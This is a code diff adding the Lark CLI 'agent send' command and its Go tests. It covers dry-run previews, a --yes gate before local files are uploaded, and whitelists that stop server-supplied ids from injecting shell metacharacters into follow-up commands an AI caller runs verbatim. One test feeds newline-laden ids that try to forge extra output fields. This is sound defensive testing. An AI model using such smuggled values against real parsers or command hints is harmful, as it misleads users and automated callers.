+const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
+
+// registerScripted registers the two scripted schemes exactly once (Register
+// panics on duplicates). Like the other fakes they leak into the package-level
+// registry for the remaining tests of this package run — so no test in this
+// package may assert an exact provider set or provider count.
+//
+//   - fakeflow: instance kind, no RequiredScopes (preflight always passes) —
+//     the workhorse for send/task/context command-layer tests.
+//   - fakescoped: same behavior but declares a 4-scope RequiredScopes set, for
+//     the scope-preflight framework tests.
+var registerScriptedOnce sync.Once
+
+func registerScripted() {
+	registerScriptedOnce.Do(func() {
+		iagent.Register("fakeflow", iagent.ProviderInfo{
+			Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
+				return newScriptedProvider(), nil
+			},
+			Label:          "test fake (scripted flow)",
+			AgentRefFormat: "fakeflow:<agent_id>",
+			AgentIDSource:  fakeflowAgentIDSource,
+			Kind:           iagent.KindInstance,
+			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
+		})
+		iagent.Register("fakescoped", iagent.ProviderInfo{
+			Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
+				return newScriptedProvider(), nil
+			},
+			Label:          "test fake (scoped)",
+			AgentRefFormat: "fakescoped:<agent_id>",
+			AgentIDSource:  "test only",
+			Kind:           iagent.KindInstance,
+			RequiredScopes: fakescopedAllScopes,
+			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
+		})
+	})
+}

cmd/agent/send.go

@@ -0,0 +1,341 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"fmt"
+	"regexp"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// sendOptions holds all inputs for `agent send <ref>`.
+type sendOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	Text      string
+	Files     []string
+	Params    []string
+	ContextID string
+	TaskID    string
+	DryRun    bool
+	Yes       bool
+	As        string
+	Format    string
+}
+
+// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
+// agent, starting a new task or continuing an existing one. `--dry-run`
+// validates the inputs against the agent Card and prints the request preview
+// without any API call (always available). A send fires and returns the
+// current task immediately; poll progress with
+// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
+// `--file` uploads local files to the remote agent — the content leaves this
+// machine. Risk=write. runF, when non-nil, replaces the production run path
+// (test seam).
+func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
+	opts := &sendOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "send <agent_ref>",
+		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
+		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
+			"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
+			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
+			"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
+		Args: exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			if runF != nil {
+				return runF(opts)
+			}
+			return agentSendRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文（必填）")
+	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
+	cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value，可重复（据 card 的 parameters 决定）")
+	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
+	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
+	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
+	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
+	} else {
+		// f is nil only in construction-time unit tests; register a bare --as so
+		// the flag surface is still assertable without a Factory.
+		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
+	}
+	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
+	return cmd
+}
+
+// agentSendRun validates the send inputs, resolves the provider, and either
+// prints a dry-run preview or dispatches the message. The two client-side input
+// guards (empty --text; --task-id without --context-id) run first so they never
+// touch the network and hold even under a nil Factory. A send fires once
+// and returns the current task immediately (exit 0); the caller polls progress
+// via the meta.next `task get ... --watch` hint.
+func agentSendRun(opts *sendOptions) error {
+	if opts.Text == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
+			WithParam("--text").
+			WithHint(`补充 --text "<消息内容>" 后重发`)
+	}
+	if opts.TaskID != "" && opts.ContextID == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--task-id 需与 --context-id 一起使用").
+			WithParam("--task-id").
+			WithHint("--task-id 必须与 --context-id 同时提供")
+	}
+
+	f := opts.Factory
+	// Card lookup + --param validation + --dry-run are API-free:
+	// resolve without a configured client so they work — and surface validation
+	// errors as exit 2 — before the config gate, even when unconfigured.
+	p, _, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+
+	r, err := iagent.ParseRef(opts.Ref)
+	if err != nil {
+		return wrapRefResolveError(err)
+	}
+	card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
+	if err != nil {
+		return err
+	}
+	params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
+	if err != nil {
+		return err
+	}
+
+	in := iagent.SendInput{
+		Text:      opts.Text,
+		Files:     opts.Files,
+		Params:    params,
+		ContextID: opts.ContextID,
+		TaskID:    opts.TaskID,
+	}
+
+	// --dry-run is a client-side behavior: always available, never
+	// gated by the Card's dry_run capability, and never touches the API.
+	if opts.DryRun {
+		return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
+	}
+
+	if len(in.Files) > 0 {
+		// An agent that does not declare file_input cannot take an upload, so
+		// --file against it is unsupported_capability — gated before any network
+		// access, so the user is not told "confirm the upload" for a send that
+		// would be rejected anyway.
+		if !card.Supports(iagent.CapFileInput) {
+			return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
+		}
+		// --file exfiltrates local file content off this machine (the provider
+		// reads the file and uploads it to the remote agent). That is an
+		// irreversible, CLI-enforced high-risk write: a real send that would upload
+		// requires --yes, returning confirmation_required (exit 10) before any
+		// network access. dry-run above is exempt — it never uploads.
+		if !opts.Yes {
+			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
+				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
+				WithHint("确认要外发这些文件后，加 --yes 重发")
+		}
+	}
+
+	// A real send calls the API, so it needs a configured client; resolve it now
+	// (not_configured / exit 3 here is correct for an actual API call).
+	pc, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+
+	// Local scope preflight: after resolveProvider, before the API call.
+	// The check is all-or-nothing — any real API verb requires the provider's
+	// full scope set.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+
+	task, err := pc.Send(opts.Cmd.Context(), in)
+	if err != nil {
+		return err
+	}
+	normalizeTask(task)
+
+	// A send fires and returns the current task immediately (exit 0). Progress is
+	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
+	// hint — send no longer blocks on the task reaching a stop condition.
+	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
+}
+
+// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
+// reconstructed from the validated input, so a caller can inspect exactly what
+// a real send would post without contacting the agent. format=pretty (no --jq)
+// renders the same fields as key: value lines instead of the envelope.
+func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
+	if format == "pretty" && jqExpr(cmd) == "" {
+		out := f.IOStreams.Out
+		fmt.Fprintln(out, "dry_run: true")
+		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
+		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
+		if len(in.Files) > 0 {
+			fmt.Fprintf(out, "files: %d\n", len(in.Files))
+		}
+		if len(in.Params) > 0 {
+			fmt.Fprintf(out, "params: %d\n", len(in.Params))
+		}
+		if in.ContextID != "" {
+			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
+		}
+		if in.TaskID != "" {
+			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
+		}
+		return nil
+	}
+
+	would := map[string]interface{}{
+		"agent_ref": ref,
+		"text":      in.Text,
+	}
+	if len(in.Files) > 0 {
+		would["files"] = in.Files
+	}
+	if len(in.Params) > 0 {
+		would["params"] = in.Params
+	}
+	if in.ContextID != "" {
+		would["context_id"] = in.ContextID
+	}
+	if in.TaskID != "" {
+		would["task_id"] = in.TaskID
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data: map[string]interface{}{
+			"dry_run":    true,
+			"would_send": would,
+		},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// nextIDPattern is the character whitelist for server-supplied identifiers
+// (task_id / context_id) before they are interpolated into a meta.next command
+// string: letters, digits, '_' and '-' only. It is deliberately stricter than
+// validate.ResourceName — that check is a denylist aimed at URL-path safety and
+// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
+// exactly what matters here: meta.next is defined as "AI executes this
+// verbatim", so a server-controlled id is a command-injection surface.
+var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
+
+// safeNextID reports whether s may be interpolated into a meta.next command.
+func safeNextID(s string) bool {
+	return nextIDPattern.MatchString(s)
+}
+
+// nextRefPattern is the whitelist for a user-supplied ref before it is
+// interpolated into a meta.next command or a hint command string: the
+// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
+// shape ParseRef accepts, further restricted to command-safe characters). A
+// ref is not server-controlled — the threat model is not injection but
+// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
+// be executed verbatim), so a failing ref simply drops the command hint.
+var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
+
+// safeNextRef reports whether ref may be interpolated into a meta.next / hint
+// command string.
+func safeNextRef(ref string) bool {
+	return nextRefPattern.MatchString(ref)
+}
+
+// nextForTask builds the meta.next[] hints for a send result: a terminal task
+// suggests fetching its artifacts / detail, a still-running task the poll
+// command, an input_required task the continue command, and an auth_required
+// task the re-authorize flow (auth login, not a text continuation). AI callers use
+// these to chain the next step without guessing the command shape, so every
+// value interpolated here must pass its whitelist first: the ref (safeNextRef)
+// and the task_id (safeNextID) each suppress the whole hint when they fail
+// (prefer dropping the hint over risking injection); a failing context_id
+// degrades to the <context_id> placeholder,
+// which keeps the hint while interpolating nothing untrusted. A hint whose
+// command carries <...> placeholders is marked Template so callers know it
+// needs substitution before execution.
+func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
+	if !safeNextRef(ref) {
+		return nil
+	}
+	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
+		return nil
+	}
+	if task.State.ShouldStopPolling() {
+		if task.State == iagent.StateAuthRequired {
+			// auth_required is an agent-side task state — the end user must
+			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
+			// NOT a text continuation like input_required. Point at the auth
+			// re-authorize flow instead of a text continuation. The concrete scopes are the
+			// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
+			// placeholder → Template. ref/task_id are already whitelisted above, so
+			// echoing the re-check command in the label is safe.
+			return []output.NextAction{{
+				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agent task get %s %s）", ref, task.TaskID),
+				Command:  `lark-cli auth login --scope "<required_scopes>"`,
+				Template: true,
+			}}
+		}
+		if task.State == iagent.StateInputRequired {
+			// A send that already needs input: point at the continue command
+			// against the same task/context. The --text value is
+			// always a placeholder, so this hint is a template — which is also why
+			// a missing or whitelist-failing context_id can degrade to the
+			// <context_id> placeholder instead of dropping the hint.
+			ctxID := task.ContextID
+			if ctxID == "" || !safeNextID(ctxID) {
+				ctxID = "<context_id>"
+			}
+			return []output.NextAction{{
+				Label:    "补充输入后向同一任务续发",
+				Command:  fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
+				Template: true,
+			}}
+		}
+		// Terminal: suggest reading the final detail / artifacts.
+		return []output.NextAction{{
+			Label:   "查看任务详情与产物",
+			Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
+		}}
+	}
+	return []output.NextAction{{
+		Label:   "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
+		Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
+	}}
+}
+
+// defaultWatchTimeout is the bounded poll window meta.next suggests for a
+// still-running task: a safe default that avoids an unbounded --watch blocking
+// forever on a long task and stops an AI caller from self-hammering. On expiry
+// the poll returns the current state (exit 0) plus a fresh watch hint, so the
+// caller re-watches in segments rather than blocking once. `--watch` used alone
+// (--timeout 0) stays unbounded for backward compatibility.
+const defaultWatchTimeout = 30 * time.Second

cmd/agent/send_test.go

@@ -0,0 +1,451 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
+// non-empty (required for content-safety scanning) and whose --as flag is
+// explicitly set to bot so ResolveAs honors it verbatim.
+func sendCmdCtx(t *testing.T) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agent"}
+	leaf := &cobra.Command{Use: "send"}
+	root.AddCommand(group)
+	group.AddCommand(leaf)
+	leaf.Flags().String("as", "", "identity")
+	if err := leaf.Flags().Set("as", "bot"); err != nil {
+		t.Fatal(err)
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
+// the scripted fakeflow agent agt_x under an explicit bot identity. The
+// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
+// test — everything under test here is command-layer behavior over the
+// scripted provider.
+func sendTestOpts(t *testing.T) *sendOptions {
+	t.Helper()
+	registerScripted()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	return &sendOptions{
+		Factory: f,
+		Cmd:     sendCmdCtx(t),
+		Ref:     "fakeflow:agt_x",
+		As:      "bot",
+	}
+}
+
+// TestSendRequiresText pins that an empty --text is a validation error
+// (subtype invalid_argument) raised before any provider is built.
+func TestSendRequiresText(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
+	if err == nil {
+		t.Fatal("missing --text should raise a validation error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// hint contract: a missing --text must carry a copy-pasteable remediation
+	// hint, and the param uses the -- prefix.
+	if !strings.Contains(p.Hint, "--text") {
+		t.Errorf("hint should guide adding --text, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--text" {
+		t.Errorf("param should be --text, got %+v", verr)
+	}
+}
+
+// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
+// validation error, raised before any provider is built.
+func TestSendTaskIDRequiresContextID(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
+	if err == nil {
+		t.Fatal("--task-id without --context-id should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// hint contract: state the next step clearly (--task-id must be provided
+	// together with --context-id).
+	if !strings.Contains(p.Hint, "--context-id") {
+		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--task-id" {
+		t.Errorf("param should be --task-id, got %+v", verr)
+	}
+}
+
+// workingTask is the canonical non-terminal task the scripted Send returns for
+// the happy-path tests.
+func workingTask() *iagent.AgentTask {
+	return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
+}
+
+// TestSendPrettyFormat pins that `send --format pretty` renders the
+// resulting task as key: value lines (previously the flag was registered but
+// silently ignored).
+func TestSendPrettyFormat(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
+		return workingTask(), nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send --format pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
+// (key: value preview) instead of silently emitting JSON.
+func TestSendDryRunPrettyFormat(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.DryRun = true
+	opts.Format = "pretty"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
+// runs context_id/task_id through kvValue (like every other pretty face), so a
+// value carrying a newline cannot forge an adjacent "key: value" field row.
+func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.DryRun = true
+	opts.Format = "pretty"
+	opts.ContextID = "ctx1\nstate: completed"
+	opts.TaskID = "task1\ndeleted: true"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	// The raw newline must not survive into a forged adjacent row.
+	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
+		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
+	}
+	if strings.Contains(text, "task_id: task1\ndeleted: true") {
+		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
+	}
+	// kvValue collapses the newline to a space, keeping the value on one line.
+	if !strings.Contains(text, "context_id: ctx1 state: completed") {
+		t.Errorf("context_id should collapse to one line, got:\n%s", text)
+	}
+	if !strings.Contains(text, "task_id: task1 deleted: true") {
+		t.Errorf("task_id should collapse to one line, got:\n%s", text)
+	}
+}
+
+// TestSendNoParamsRequired pins card v2: the scripted card declares no
+// parameters, so a send without any --param passes card validation — asserted
+// via --dry-run so no provider Send fires. A malformed --param is still a
+// validation error.
+func TestSendNoParamsRequired(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Params = nil
+	opts.DryRun = true
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
+	}
+
+	opts2 := sendTestOpts(t)
+	opts2.Text = "分析销售"
+	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
+	opts2.DryRun = true
+	err := agentSendRun(opts2)
+	if err == nil {
+		t.Fatal("malformed --param should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+}
+
+// TestSendUnknownParamRejected pins, against an empty-parameters card, that
+// any --param key is unknown → invalid_argument with a hint pointing at
+// `agent card`, raised before any provider Send (asserted via --dry-run with
+// no send hook installed).
+func TestSendUnknownParamRejected(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Params = []string{"app_id=app_1"}
+	opts.DryRun = true
+	err := agentSendRun(opts)
+	if err == nil {
+		t.Fatal("card did not declare app_id, --param app_id should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agent card") {
+		t.Fatalf("hint should point to agent card, got %q", p.Hint)
+	}
+}
+
+// TestSendDryRun pins that --dry-run prints a would_send preview and never
+// calls the provider (no send hook installed → a Send would panic).
+func TestSendDryRun(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.DryRun = true
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	data, ok := env.Data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("data should be an object, got %T", env.Data)
+	}
+	if data["dry_run"] != true {
+		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
+	}
+	would, ok := data["would_send"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
+	}
+	if would["text"] != "分析销售" {
+		t.Errorf("would_send.text should echo the text, got %v", would["text"])
+	}
+}
+
+// TestSendStartsTask pins the happy path: a single Send fires and returns the
+// submitted / working task in a success envelope immediately (no polling), with
+// a meta.next hint pointing at task get --watch.
+func TestSendStartsTask(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	var gotText string
+	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
+		gotText = in.Text
+		return workingTask(), nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send should not error: %v", err)
+	}
+	if gotText != "分析销售" {
+		t.Errorf("provider should receive the original text, got %q", gotText)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["task_id"] != "chat_1" {
+		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
+	}
+	if data["state"] != string(iagent.StateWorking) {
+		t.Errorf("state should be working, got %v", data["state"])
+	}
+	// meta.next should suggest polling / continuing.
+	if !strings.Contains(string(out.Bytes()), `"next"`) {
+		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
+	}
+}
+
+// TestSendSendError surfaces a provider Send failure unchanged.
+func TestSendSendError(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "x"
+	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentSendRun(opts); err == nil {
+		t.Fatal("Send error should propagate")
+	}
+}
+
+// TestSendInvalidRef surfaces a malformed ref as a validation error after the
+// text/task-id guards pass.
+func TestSendInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+}
+
+// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
+// presence of the send-specific flags.
+func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
+	cmd := NewCmdAgentSend(nil, nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
+		t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("agent send with a single ref should be valid: %v", err)
+	}
+	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("agent send should have --%s flag", name)
+		}
+	}
+	if cmd.Flags().Lookup("wait") != nil {
+		t.Error("agent send --wait should be removed (polling goes through task get --watch)")
+	}
+	// The --file help must point out that files are sent off to the remote
+	// provider (file-egress requirement).
+	fileFlag := cmd.Flags().Lookup("file")
+	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
+		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
+	}
+}
+
+// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
+// instead of the production path (construction-time seam).
+func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
+	called := false
+	var captured *sendOptions
+	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
+		called = true
+		captured = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
+	cmd.SetContext(context.Background())
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("execute should not error: %v", err)
+	}
+	if !called {
+		t.Fatal("runF should be called")
+	}
+	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
+		t.Errorf("opts not populated correctly: %+v", captured)
+	}
+}
+
+// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
+// carrying --file to a provider that supports file upload (the scripted card has
+// file_input=true) requires --yes, so without it the command returns
+// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
+// hook is a tripwire that would panic if the gate let the upload through.
+func TestSend_FileRequiresYes(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"} // no --yes
+
+	err := agentSendRun(opts)
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
+		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
+	}
+	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
+		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
+	}
+}
+
+// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
+// send reaches the provider, which receives the file path.
+func TestSend_FileWithYesProceeds(t *testing.T) {
+	opts := sendTestOpts(t)
+	sent := false
+	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
+		sent = true
+		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
+			t.Errorf("provider should receive the --file path, got %v", in.Files)
+		}
+		return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
+	}})
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"}
+	opts.Yes = true
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send --file --yes should proceed: %v", err)
